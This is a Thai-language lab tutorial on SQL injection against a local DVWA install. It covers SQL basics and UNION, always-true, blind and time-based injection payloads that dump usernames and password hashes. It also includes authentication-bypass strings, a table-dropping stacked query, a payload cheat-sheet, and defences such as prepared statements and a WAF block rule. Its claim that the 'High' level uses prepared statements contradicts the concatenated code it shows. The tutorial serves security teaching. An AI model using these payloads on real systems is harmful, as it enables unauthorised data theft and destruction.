Cyber Security: เรียนรู้ SQL Injection
เรียนรู้การโจมตีและการป้องกัน SQL Injection ผ่าน DVWA Lab แบบลงมือปฏิบัติจริง
1. การเตรียม Lab (Lab Setup)#
ก่อนเริ่ม Lab นี้ จำเป็นต้องเตรียม Environment ให้พร้อมก่อน
การติดตั้ง Ubuntu VM (Ubuntu VM Setup)#
จำเป็นต้องมี Ubuntu Linux VM ที่รันอยู่บน VirtualBox โดยสามารถดูขั้นตอนการติดตั้งแบบละเอียดและพื้นฐานการใช้งาน Linux command line ได้จากบทความ Ubuntu Basic Tutorial ↗
DVWA#
ก่อนเริ่มทำแบบฝึกหัด ตรวจสอบให้แน่ใจว่าติดตั้ง DVWA เรียบร้อยแล้ว ให้ทำตามขั้นตอนในบทความ Brute Force Lab ↗ สำหรับการติดตั้ง DVWA
2. Introduction to SQL Injection#
ยินดีต้อนรับสู่ SQL Injection Lab! ต่อเนื่องจาก Linux Security Lab จะเริ่มเรียนรู้หนึ่งในเทคนิคการโจมตี Web Application ที่อันตรายและพบบ่อยที่สุด
SQL Injection คืออะไร?#
SQL Injection (SQLi) คือเทคนิคการโจมตีแบบ code injection ที่อาศัยช่องโหว่ในชั้น database ของ application โดย attacker สามารถแทรก (inject) คำสั่ง SQL ที่เป็นอันตรายเข้าไปใน input field เพื่อให้ database ประมวลผลคำสั่งนั้น ซึ่งอาจนำไปสู่การเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต
Normal query: SELECT * FROM users WHERE id = 1
Injected: SELECT * FROM users WHERE id = 1 OR 1=1
Result: Returns ALL users instead of just user #1sqlSQL Injection ทำงานอย่างไร#

ภาพนี้อธิบายกระบวนการเกิด SQL Injection
- User ส่ง input เข้า Web Application
- Application นำ input ไปสร้าง SQL Query
- หากไม่มีการตรวจสอบหรือกรองข้อมูล (No input sanitization) จะเกิดช่องโหว่
- Attacker สามารถแทรก SQL command ที่เป็นอันตรายเข้าไปได้
- Database execute malicious query
- ส่งผลให้ข้อมูลรั่วไหล (Data leaked) หรือถูกเข้าถึงโดยไม่ได้รับอนุญาต
เหตุใด SQL Injection จึงอันตราย#
| ผลกระทบ (Impact) | คำอธิบาย |
|---|---|
| Data Breach | ขโมยข้อมูลสำคัญ เช่น password, personal information, credit card |
| Authentication Bypass | Login ได้โดยไม่ต้องมี credential ที่ถูกต้อง |
| Data Manipulation | แก้ไขหรือลบข้อมูลใน database |
| Privilege Escalation | ยกระดับสิทธิ์เป็น admin ของ database |
| Remote Code Execution | ในบางกรณีสามารถ execute operating system command ได้ |
OWASP Ranking#
SQL Injection ติดอันดับ Top 5 vulnerability ใน OWASP Top 10 ต่อเนื่องมานานกว่าสิบปี และยังคงเป็นหนึ่งในช่องโหว่ที่ถูกโจมตีมากที่สุดทั่วโลก
OWASP Top 10:2025 - https://owasp.org/Top10/2025/ ↗
Rank Category A01:2025 Broken Access Control A02:2025 Security Misconfiguration A03:2025 Software Supply Chain Failures A04:2025 Cryptographic Failures A05:2025 Injection A06:2025 Insecure Design A07:2025 Authentication Failures A08:2025 Software or Data Integrity Failures A09:2025 Security Logging and Alerting Failures A10:2025 Mishandling of Exceptional Conditions
3. Start VM และเชื่อมต่อผ่าน SSH#
Start VM#
ใน VirtualBox ให้ดับเบิลคลิกที่ Ubuntu Linux VM เพื่อเริ่มต้นระบบ
เชื่อมต่อผ่าน SSH#
Pro Tip: การใช้ SSH จาก host machine จะช่วยให้ copy command จาก tutorial ได้ง่ายขึ้น
บน Windows (Command Prompt หรือ PowerShell):
ssh -p 2222 your_username@localhostcmdบน macOS หรือ Linux (Terminal):
ssh -p 2222 your_username@localhostbashแทนที่ your_username ด้วย username ของ Ubuntu เช่น u6090059
จากนั้นกรอก Ubuntu password เมื่อระบบถาม โดย prompt จะเปลี่ยนเป็น:
your_username@your_hostname:~$bash📚 หากต้องการรายละเอียดเพิ่มเติม สามารถดูได้จากบทความ Ubuntu Basic Tutorial ↗

4. SQL Basics Lab#
ก่อนเริ่มทำ SQL Injection จำเป็นต้องเข้าใจคำสั่ง SQL พื้นฐานก่อน โดยจะทดลองใช้งานบน MySQL/MariaDB server
Lab: SQL#
เปิด MySQL Command Line:
sudo mysql -u rootbashPassword คือ student ID
Show Databases#
แสดง database ทั้งหมดที่ user มีสิทธิ์เข้าถึง
SHOW DATABASES;sqlExpected output:
+--------------------+
| Database |
+--------------------+
| dvwa |
| information_schema |
| mysql |
| performance_schema |
+--------------------+Select a Database#
เลือก database ที่ต้องการใช้งาน
USE dvwa;sqlExpected output:
Database changedDisplay All Tables#
แสดง table ทั้งหมดภายใน database
SHOW TABLES;sqlExpected output:
+----------------+
| Tables_in_dvwa |
+----------------+
| access_log |
| guestbook |
| security_log |
| users |
+----------------+SELECT All Columns#
ทดลองดึงข้อมูลทุก column จาก table users
SELECT * FROM users;sqlExpected output:
+---------+------------+-----------+---------+----------------------------------+----------------------------------+-------+-----------------+
| user_id | first_name | last_name | user | password | avatar | role | account_enabled |
+---------+------------+-----------+---------+----------------------------------+----------------------------------+-------+-----------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /dvwa/hackable/users/admin.jpg | admin | 1 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | /dvwa/hackable/users/gordonb.jpg | user | 1 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | /dvwa/hackable/users/1337.jpg | user | 1 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | /dvwa/hackable/users/pablo.jpg | user | 1 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | /dvwa/hackable/users/smithy.jpg | user | 1 |
+---------+------------+-----------+---------+----------------------------------+----------------------------------+-------+-----------------+หมายเหตุ: โครงสร้าง database ของ DVWA อาจแตกต่างกันได้ สามารถใช้
DESCRIBE users;เพื่อตรวจสอบชื่อ column จริง
SELECT Specific Columns#
เลือกเฉพาะ column user และ first_name
SELECT user, first_name FROM users;sqlExpected output:
+----------+------------+
| user | first_name |
+----------+------------+
| admin | admin |
| gordonb | Gordon |
| 1337 | Hack |
| pablo | Pablo |
| smithy | Bob |
+----------+------------+SELECT with WHERE Clause#
เลือกข้อมูลโดยใช้ WHERE
SELECT user_id, user, first_name FROM users WHERE user_id = 1;sqlExpected output:
+---------+-------+------------+
| user_id | user | first_name |
+---------+-------+------------+
| 1 | admin | admin |
+---------+-------+------------+INSERT Data#
เพิ่มข้อมูลลงใน table users
INSERT INTO users (user_id, first_name, last_name, user, password)
VALUES (6, 'Karn', 'Yong', 'u6090059', MD5('6090059'));sql💡 หมายเหตุ: DVWA อาจใช้ password hashing แตกต่างกันตาม security level ควรตรวจสอบ column ด้วย
DESCRIBE users;ก่อน
View Inserted Data#
ตรวจสอบข้อมูลที่เพิ่มเข้าไป
SELECT * FROM users WHERE user_id = 6;sqlExpected output:
+---------+------------+-----------+----------+----------------------------------+
| user_id | first_name | last_name | user | password |
+---------+------------+-----------+----------+----------------------------------+
| 6 | Karn | Yong | u6090059 | a3d2f5c8... (MD5 hash) |
+---------+------------+-----------+----------+----------------------------------+SELECT by user_id#
ทดลองค้นหาข้อมูลจาก user_id
SELECT first_name, last_name FROM users WHERE user_id = 2;sqlExpected output:
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Gordon | Brown |
+------------+-----------+UNION - Combining Query Results#
UNION ใช้สำหรับรวมผลลัพธ์จากหลาย SELECT statement
SELECT first_name, last_name FROM users WHERE user_id = 1
UNION
SELECT user, password FROM users WHERE user_id = 1;sqlExpected output:
+------------+----------------------------------+
| first_name | last_name |
+------------+----------------------------------+
| admin | admin |
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+------------+----------------------------------+⚠️ สำคัญ: Query ทั้งสองฝั่งของ UNION ต้องมีจำนวน column เท่ากัน และ data type ต้อง compatible กัน
-- ใช้งานได้: ทั้งสอง query มี 2 columns
SELECT first_name, last_name FROM users WHERE user_id = 1
UNION
SELECT user, password FROM users WHERE user_id = 1;
-- ใช้งานไม่ได้: จำนวน columns ต่างกัน (1 vs 2)
SELECT first_name FROM users WHERE user_id = 1
UNION
SELECT user, password FROM users WHERE user_id = 1;sqlExit MySQL#
EXIT;sql5. Understanding SQL Injection on Web Pages#
ใน Web Page อาจมี feature สำหรับเลือกและแสดงข้อมูล เช่น การค้นหาผู้ใช้ผ่าน user_id ซึ่งจะใช้ SQL query ลักษณะนี้
SELECT first_name, last_name FROM users WHERE user_id = $idsqlโดย $id คือค่าที่ user กรอกจากหน้าเว็บ
เมื่อกรอก 1 query จะกลายเป็น:
SELECT first_name, last_name FROM users WHERE user_id = 1sqlซึ่งเป็น query ปกติ แต่หากมีการใส่ malicious SQL เข้าไป จะเกิดอะไรขึ้น?
Injection ทำงานอย่างไร#
สามารถแทนค่าของ 1 ด้วย SQL Injection ที่ใช้ UNION เพื่อดึงข้อมูล เช่น username และ password
Normal input:
User ID: 1SELECT first_name, last_name FROM users WHERE user_id = 1sqlInjected input:
User ID: 1 UNION SELECT user, password FROM usersSELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT user, password FROM userssqlผลลัพธ์:
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin | admin |
| admin | password |
+------------+-----------+⚠️ attacker สามารถดึง username และ password ออกจาก database ได้สำเร็จ
ประเภทของ SQL Injection#
| Type | คำอธิบาย | Example |
|---|---|---|
| UNION-based | รวมผลลัพธ์จากสอง query | 1 UNION SELECT user, password FROM users |
| Error-based | ดึงข้อมูลผ่าน error message | ' AND extractvalue(1,concat(0x7e,(SELECT user())))-- |
| Blind (Boolean) | ใช้คำถามแบบ true/false | ' AND 1=1-- vs ' AND 1=2-- |
| Blind (Time-based) | ใช้ delay ใน response | ' AND SLEEP(5)-- |
| Stacked Queries | Execute หลาย query พร้อมกัน | '; DROP TABLE users;-- |
6. SQL Injection - Low Security#
Exercise 1: Set Up Port Forwarding#
เพื่อเข้าถึง DVWA จาก browser ของ host machine จำเป็นต้องตั้งค่า port forwarding ใน VirtualBox
-
Shut down Ubuntu VM
-
ใน VirtualBox คลิกขวา VM → Settings → Network → Advanced → Port Forwarding
-
เพิ่ม rule ใหม่:
- Name: HTTP
- Protocol: TCP
- Host Port: 8080
- Guest Port: 80
- ปล่อย Host IP และ Guest IP ว่างไว้
-
กด OK และ start VM ใหม่

จากนั้นสามารถเข้า DVWA ผ่าน:
http://localhost:8080/dvwaExercise 2: Login to DVWA#
เปิด:
http://localhost:8080/dvwa/login.phpUsername: admin
Password: password
Exercise 3: Set DVWA Security to Low#
เปิด:
http://localhost:8080/dvwa/security.phpตั้งค่า security level เป็น Low แล้วกด Submit

Exercise 4: สำรวจหน้า SQL Injection#
เปิด: http://localhost:8080/dvwa/vulnerabilities/sqli/
คลิก View Source ที่ด้านล่างของหน้าเพื่อดู PHP source code
จะเห็น form ที่มีช่องกรอก User ID

ทดลอง query ปกติก่อน:
User ID: 1กด Submit จะเห็นชื่อและนามสกุลของ user ID 1

💡 สังเกต URL
http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submitinput จาก user ถูกส่งผ่าน GET parameter ชื่อ
id
ทำความเข้าใจ Vulnerable Code#
คลิกปุ่ม View Source ด้านล่างของหน้าเพื่อดู PHP source code โดยใน DVWA Low security จะมีลักษณะดังนี้:
$id = $_GET[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );phpค่า input จาก user ($id) ถูกนำไปใส่ใน SQL query โดยตรง โดยไม่มีการ sanitization หรือ parameterization ซึ่งเป็นช่องโหว่หลัก
เมื่อกรอก 1 query จะกลายเป็น:
SELECT first_name, last_name FROM users WHERE user_id = '1';sqlExercise 5: SQL Injection - Always True Condition#
ทดลอง exploit ช่องโหว่โดยทำให้เงื่อนไขใน WHERE เป็นจริงเสมอ
Input:
1' OR '1' = '1จะได้ SQL query ดังนี้:
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1' = '1';sqlเนื่องจาก '1' = '1' เป็นเงื่อนไขที่ จริงเสมอ (always true) query จึงคืนค่าทุก row จาก table users

Exercise 6: UNION-Based SQL Injection#
ทดลองใช้ UNION เพื่อดึงข้อมูลจาก column อื่น
Input:
' UNION SELECT user, password FROM users## คือ MySQL comment ใช้ comment ส่วนที่เหลือของ query
query ที่ได้:
SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT user, password FROM users#';sqlจริง ๆ แล้ว query นี้ประกอบด้วย 2 query:
-
SELECT first_name, last_name FROM users WHERE user_id = ''→ คืนค่า 0 row -
SELECT user, password FROM users→ คืนค่า username และ password ทั้งหมด
UNION จะรวมผลลัพธ์ของทั้งสอง query เข้าด้วยกัน โดยทั้งสองฝั่งต้องมี จำนวน column เท่ากัน
จะเห็น username และ password จาก database

Expected output:
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
...⚠️ password ถูกเปิดเผยแล้ว ในสถานการณ์จริง attacker จะสามารถขโมย credential ของผู้ใช้ทั้งหมดได้
Exercise 7: ดึงข้อมูลเฉพาะ#
หมายเหตุ: query ต่อไปนี้อาจไม่ทำงานบน DVWA Low security เนื่องจากข้อจำกัดของ query structure
ดึงเฉพาะ admin password#
' UNION SELECT user, password FROM users WHERE user = 'admin'#ดึง database version#
' UNION SELECT @@version, database()#จะได้ข้อมูล:
- MySQL/MariaDB version
- ชื่อ database ปัจจุบัน (
dvwa)
Exercise 8: ดึงชื่อ Database ทั้งหมด#
' UNION SELECT schema_name, NULL FROM information_schema.schemata#information_schema เป็น database พิเศษใน MySQL ที่เก็บ metadata ของ database และ table ทั้งหมด
query นี้จะแสดง database ทั้งหมดใน server
Exercise 9: ดึงชื่อ Table#
' UNION SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = 'dvwa'#query นี้จะแสดง table ทั้งหมดใน database dvwa
Exercise 10: ดึงชื่อ Column#
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users'#query นี้จะแสดงโครงสร้างของ table users รวมถึงชื่อ column และ data type
7. SQL Injection - Medium Security#
ในระดับ Medium security รูปแบบ input เปลี่ยนจาก text field เป็น dropdown menu
Exercise 11: ตั้งค่า DVWA Security เป็น Medium#
เปิด:
http://localhost:8080/dvwa/security.phpตั้งค่า security level เป็น Medium แล้วกด Submit
Exercise 12: Inspect และแก้ไข Dropdown#
-
เปิดหน้า SQL Injection:
http://localhost:8080/dvwa/vulnerabilities/sqli/ -
เปิด Inspect Tool ของ browser (คลิกขวา → Inspect)
-
เลือก element ของ dropdown
-
แก้ไขค่า
valueของ<option>
ตัวอย่าง เปลี่ยน value เป็น 6
<option value="6">6</option>html
กด Submit จะเห็นข้อมูลของ user_id = 6
Exercise 13: Always True Condition (Medium)#
แก้ไขค่า dropdown เพื่อให้ condition เป็นจริงเสมอ
1 or 1=1<option value="1 or 1=1">1</option>htmlเมื่อกด Submit จะได้ query:
SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1 = 1;sqlเนื่องจาก 1 = 1 เป็นจริงเสมอ query จะคืนค่าทุก row

Exercise 14: UNION-Based Injection (Medium)#
ทดลองใช้ UNION เพื่อดึง username และ password
1 UNION SELECT user, password FROM users<option value="1 UNION SELECT user, password FROM users">1</option>htmlquery ที่ได้:
SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT user, password FROM users;sql
8. Authentication Bypass ผ่าน SQL Injection#
SQL injection สามารถใช้เพื่อ bypass login form ได้
อย่างไรก็ตาม login page ของ DVWA ใช้ prepared statements จึง ไม่ vulnerable ต่อการโจมตีนี้ ส่วนนี้ใช้เพื่อการศึกษาเท่านั้น
Authentication Bypass ทำงานอย่างไร#
หาก login form ใช้ SQL query แบบนี้:
$query = "SELECT * FROM users WHERE user = '$username' AND password = '$password'";phpattacker สามารถ inject ผ่าน username field:
Username: admin' OR '1'='1
Password: anythingquery ที่ได้:
SELECT * FROM users WHERE user = 'admin' OR '1'='1' AND password = 'anything'sqlเนื่องจาก '1'='1' เป็นจริงเสมอ query จะคืนค่าของ user แรก ทำให้ bypass authentication ได้
Payload อื่น#
Username: admin'#
Password: anythingpayload admin'# จะ comment password check ทิ้งทั้งหมด:
SELECT * FROM users WHERE user = 'admin'#' AND password = 'anything'sqlquery จะกลายเป็น:
SELECT * FROM users WHERE user = 'admin'sqlหมายเหตุ: เทคนิคนี้ใช้ได้เฉพาะ login form ที่ไม่ได้ใช้ prepared statements เท่านั้น
9. Blind SQL Injection#
บางครั้ง application ไม่แสดงผล query โดยตรง แต่ยังสามารถดึงข้อมูลได้ผ่านการถามแบบ yes/no
Exercise 15: Boolean-Based Blind SQLi#
หากหน้าเว็บแสดงผลต่างกันระหว่าง true/false
User ID: 1 AND 1=1-- -→ หน้าเว็บแสดงข้อมูลตามปกติ (TRUE)
User ID: 1 AND 1=2-- -→ หน้าเว็บไม่แสดงข้อมูล (FALSE)
ดึงชื่อ Database ทีละตัวอักษร#
User ID: 1 AND SUBSTRING(database(),1,1) = 'd'-- -หากหน้าเว็บแสดงข้อมูล แปลว่าอักษรตัวแรกของ database คือ d
ทำซ้ำเพื่อดึงอักษรตัวถัดไป
Exercise 16: Time-Based Blind SQLi#
กรณีหน้าเว็บไม่มีความแตกต่างที่สังเกตได้
User ID: 1 AND SLEEP(5)-- -หาก response ใช้เวลา 5 วินาที แปลว่า query ทำงานสำเร็จ
สามารถใช้ดึงข้อมูลได้ เช่น:
User ID: 1 AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)-- -หาก response delay 5 วินาที แปลว่าอักษรตัวแรกคือ d
10. เปรียบเทียบระดับ Security ของ DVWA#
Low Security (ระดับที่ทดลอง)#
// ไม่มีการป้องกัน - นำ user input ไปใช้โดยตรง
$id = $_GET[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";phpช่องโหว่ (Vulnerabilities)#
- ❌ ไม่มี input sanitization
- ❌ ไม่มี parameterized queries
- ❌ แสดง error message จาก database
- ❌ ใช้ string concatenation โดยตรง
Medium Security#
// มีการป้องกันบางส่วนด้วย mysql_real_escape_string
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_POST[ 'id' ]);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";phpการปรับปรุง (Improvements)#
- ✅ ใช้
mysqli_real_escape_string() - ✅ ใช้ POST แทน GET
- ❌ ยัง vulnerable อยู่ (ไม่มี quote ครอบ
$id)
วิธี Bypass#
เนื่องจาก $id ไม่ถูกครอบด้วย quote จึงยัง inject ได้
User ID: 1 UNION SELECT user, password FROM usersHigh Security#
// ใช้ prepared statements พร้อม LIMIT 1
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";phpการปรับปรุง#
- ✅ ใช้ prepared statements
- ✅ จำกัดผลลัพธ์เหลือ 1 row
- ❌ ยัง bypass ได้ด้วย LIMIT tricks
Impossible Security#
// Fully secure implementation
$stmt = $GLOBALS["___mysqli_ston"]->prepare("SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;");
$stmt->bind_param("i", $id);
$stmt->execute();phpระบบป้องกันทั้งหมด#
- ✅ Parameterized queries (prepared statements)
- ✅ ตรวจสอบ input type (integer เท่านั้น)
- ✅ ใช้ LIMIT 1
- ✅ ใช้ PDO พร้อม secure defaults
11. Defense และ Prevention#
Defense Strategy#

เทคนิคการป้องกัน (Prevention Techniques)#
1. ใช้ Parameterized Queries (Prepared Statements)#
นี่คือวิธีป้องกัน SQL injection ที่สำคัญที่สุด
// ✅ SAFE - Prepared statement (inject ไม่ได้)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_input]);
// ❌ UNSAFE - String concatenation (มีช่องโหว่)
$query = "SELECT * FROM users WHERE id = " . $user_input;phpหลักการทำงาน#
Prepared Statement Flow:
1. ส่ง SQL query ไปยัง DB พร้อม placeholder (?)
2. Database compile โครงสร้าง query
3. ส่ง user input แยกเป็น parameter
4. Database มอง input เป็น DATA เท่านั้น ไม่ใช่ SQL code2. Input Validation#
ตรวจสอบและ sanitize input ทุกครั้ง
// ตรวจสอบว่า ID เป็นตัวเลข
if (!is_numeric($user_input)) {
die("Invalid input");
}
// Whitelist เฉพาะค่าที่อนุญาต
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($user_input, $allowed_ids)) {
die("Invalid ID");
}php3. Least Privilege Database Accounts#
-- account ของ application ควรมีเฉพาะ permission ที่จำเป็น
GRANT SELECT, INSERT, UPDATE ON dvwa.users TO 'app_user'@'localhost';
-- ไม่ควรให้:
-- GRANT ALL, DROP, ALTER, DELETE (หากไม่จำเป็น)sql4. Web Application Firewall (WAF)#
# Nginx - Block รูปแบบ SQLi ที่พบบ่อย
location / {
# Block common SQL injection patterns
if ($args ~* "(UNION|SELECT|INSERT|DROP|DELETE|UPDATE|OR 1=1|AND 1=1)") {
return 403;
}
}nginx5. Error Handling#
ไม่ควรแสดง database error ต่อ user
// ❌ BAD - เปิดเผยโครงสร้าง database
die(mysqli_error($conn));
// ✅ GOOD - แสดง generic error message
die("An error occurred. Please try again.");phpDefense Checklist#
| Defense | Priority | Effectiveness |
|---|---|---|
| Parameterized queries | 🔴 Critical | ป้องกัน SQLi ได้เกือบทั้งหมด |
| Input validation | 🔴 Critical | block malicious input ตั้งแต่ต้น |
| Least privilege | 🟡 High | ลดความเสียหายหากถูก inject |
| WAF rules | 🟡 High | block attack pattern ที่รู้จัก |
| Error handling | 🟢 Medium | ป้องกัน information leakage |
| Logging | 🟢 Medium | ช่วยในการ detection และ response |
12. Quick Reference#
SQL Injection Payloads (Low Security)#
หมายเหตุ: ใน DVWA Low security ให้ใช้
'เพื่อปิด string และใช้#เพื่อ comment ส่วนที่เหลือของ queryไม่ควรใช้
1เป็น prefix เพราะจะไม่ทำงาน
| Attack | Payload |
|---|---|
| Always true | 1' OR '1' = '1 |
| UNION extract | ' UNION SELECT user, password FROM users# |
| UNION specific user | ' UNION SELECT user, password FROM users WHERE user = 'admin'# |
| Version check | ' UNION SELECT @@version, database()# |
| List databases | ' UNION SELECT schema_name, NULL FROM information_schema.schemata# |
| List tables | ' UNION SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = 'dvwa'# |
| List columns | ' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users'# |
SQL Injection Payloads (Medium Security)#
หมายเหตุ: ใน Medium security ให้แก้ไข
<option value="...">ผ่าน browser Inspect toolไม่จำเป็นต้องใช้ quote เนื่องจาก input ไม่ถูกครอบด้วย quote
| Attack | Dropdown Option Value |
|---|---|
| Always true | 1 or 1=1 |
| UNION extract | 1 UNION SELECT user, password FROM users |
SQL Commands Quick Reference#
| Command | Description |
|---|---|
SHOW DATABASES; | แสดง database ทั้งหมด |
USE database_name; | เลือก database |
SHOW TABLES; | แสดง table ทั้งหมด |
DESCRIBE table_name; | แสดงโครงสร้าง table |
SELECT * FROM table; | ดึงข้อมูลทั้งหมด |
SELECT col1, col2 FROM table WHERE condition; | query แบบมีเงื่อนไข |
INSERT INTO table (cols) VALUES (vals); | เพิ่มข้อมูล |
UNION SELECT ... | รวมผลลัพธ์จากหลาย query |
13. Next Steps#
ยินดีด้วย! ได้เรียนจบ SQL Injection Lab แล้ว
สิ่งที่ได้เรียนรู้#
- ✅ พื้นฐาน SQL
- ✅ ประเภทของ SQL injection
- ✅ การโจมตีแบบ UNION-based SQL injection
- ✅ เทคนิคการป้องกัน SQL injection
Recommended Learning Path#
- Cross-Site Scripting (XSS) - การโจมตีฝั่ง client-side
- Command Injection - การ inject command ระดับ OS
- Session Hijacking - การขโมย session
- Security Testing Methodologies - OWASP Testing Guide
- Secure Coding - การเขียน code ที่ปลอดภัย
Practice Resources#
| Resource | URL |
|---|---|
| OWASP Top 10 | https://owasp.org/www-project-top-ten/ ↗ |
| OWASP SQLi Guide | https://owasp.org/www-community/attacks/SQL_Injection ↗ |
| DVWA Documentation | https://github.com/digininja/DVWA ↗ |
| Web Security Academy | https://portswigger.net/web-security ↗ |
| SQL Injection Cheat Sheet | https://portswigger.net/web-security/sql-injection/cheat-sheet ↗ |
Ethical Considerations#
⚠️ IMPORTANT
- ทดสอบเฉพาะระบบที่เป็นเจ้าของ หรือได้รับอนุญาตเท่านั้น
- SQL injection เป็นการกระทำผิดกฎหมายหากทำโดยไม่ได้รับอนุญาต
- ใช้ความรู้เพื่อ defensive purpose และ authorized security testing เท่านั้น
- รายงานช่องโหว่อย่างรับผิดชอบผ่าน disclosure process ที่เหมาะสม
- ควรได้รับอนุญาตเป็นลายลักษณ์อักษรก่อนทำ penetration testing
Legal Notice#
การเข้าถึงระบบคอมพิวเตอร์โดยไม่ได้รับอนุญาตถือเป็นความผิดทางอาญาในหลายประเทศ
tutorial นี้จัดทำขึ้นเพื่อ การศึกษาเท่านั้น และควรใช้ใน isolated lab environment เท่านั้น เช่น DVWA setup ของตนเอง
Happy learning and stay ethical! 🔐